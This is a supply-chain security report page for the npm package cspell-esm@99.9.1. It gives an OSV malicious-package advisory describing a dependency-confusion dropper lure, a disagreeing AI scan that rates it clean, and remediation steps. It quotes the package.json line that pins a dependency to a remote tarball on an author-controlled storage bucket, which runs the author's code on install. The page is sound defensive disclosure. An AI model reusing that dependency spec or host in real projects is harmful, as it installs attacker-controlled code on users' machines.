registry / Malware / cspell-esm

cspell-esm

This report shows the evidence for cspell-esm@99.9.1. 1 of 2 known versions is blocked or flagged. The newest version, 0.0.1-security, is allowed. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

OpenSSF/OSV Malicious Advisory

imported 2mo ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13977 confirms this npm version as malicious.

Advisory

MAL-2026-13977

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in cspell-esm (npm)

Details

Package name resembles the widely-used 'cspell' library but its main entry (index.js) exports an empty object and provides no functionality. Its package.json pins its sole dependency 'ltidisafe' to a raw HTTPS URL on a Google Cloud Storage bucket (https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.7.tgz) rather than a registry-published, version-pinned artifact. On `npm install`, npm fetches this tarball from the author-controlled bucket and installs it into the dependency tree, executing any of its lifecycle scripts and main-module code on the installer's machine. The combination of a lookalike name, an empty implementation, and an off-registry dependency source is the dropper-lure shape: the lure package itself is inert, and installer-side code execution is delivered through the smuggled dependency.

References

OpenSSF/OSV advisory PACKAGE

Independent LPM AI assessment

Clean

Independent AI assessment: clean. LPM AI assessed this version as clean; the assessments disagree.

Direct inspection found no lifecycle execution or runtime capability beyond an empty export. The remote dependency URL is a supply-chain concern but is not proof that this package is malicious.

Static reason

One or more suspicious static signals were detected.

Trigger

Dependency installation fetches the declared tarball.

Impact

No malicious package behavior is established from this source.

Mechanism

Remote tarball dependency reference only.

AI rationale

Direct inspection found no lifecycle execution or runtime capability beyond an empty export. The remote dependency URL is a supply-chain concern but is not proof that this package is malicious.

Evidence

package.jsonindex.js

Network endpoints1

ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.7.tgz

Independent scan evidence

public snapshot

AI called this Clean at 91.0% confidence as Benign with low false-positive risk.

Evidence for AI clean decision

package.json pins its only dependency to a remote Google Cloud Storage tarball, creating an external supply-chain dependency.

Evidence against

No preinstall, install, or postinstall lifecycle hook is declared.
The sole runtime entrypoint exports an empty object and contains no execution, file, network, or child-process behavior.
No concrete malicious behavior is present in the inspected package source.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chain

Trivial

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 35 B of source

Source & flagged code

2 flagged

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.7.tgz" }

High

Suspicious Dependency Evidence

package.json pins its only dependency to a remote Google Cloud Storage tarball, creating an external supply-chain dependency.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.7.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Source & flagged code

2 flagged · loading source

package.jsonView file

9"dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.7.tgz" }

High

Suspicious Dependency Evidence

package.json pins its only dependency to a remote Google Cloud Storage tarball, creating an external supply-chain dependency.

package.jsonView on unpkg · L9

•Remote tarball dependency specs: ltidisafe@https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.6.7.tgz

Medium

Remote Tarball Dependency

Package manifest contains a dependency pinned to a remote tarball URL.

package.jsonView on unpkg

Findings

1 High1 Medium1 Low

HighSuspicious Dependency Evidencepackage.json

MediumRemote Tarball Dependencypackage.json

LowScripts Present

Affected versions and remediation

This report applies to cspell-esm@99.9.1.

The versions list below shows the verdict for each recorded version.

Avoid installing cspell-esm@99.9.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-13 23:45:11.380Z (UTC).

Source advisory published: 2026-08-13 21:08:16.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

0.0.1-securitylatestClean—AllowPublishedAug 18, 2026, 4:18 PM 99.9.1shownMaliciousMalwareBlockPublishedAug 13, 2026, 5:25 AM

OpenSSF/OSV Malicious Advisory

Independent LPM AI assessment

Independent scan evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Source & flagged code

Related packages

Other malware packages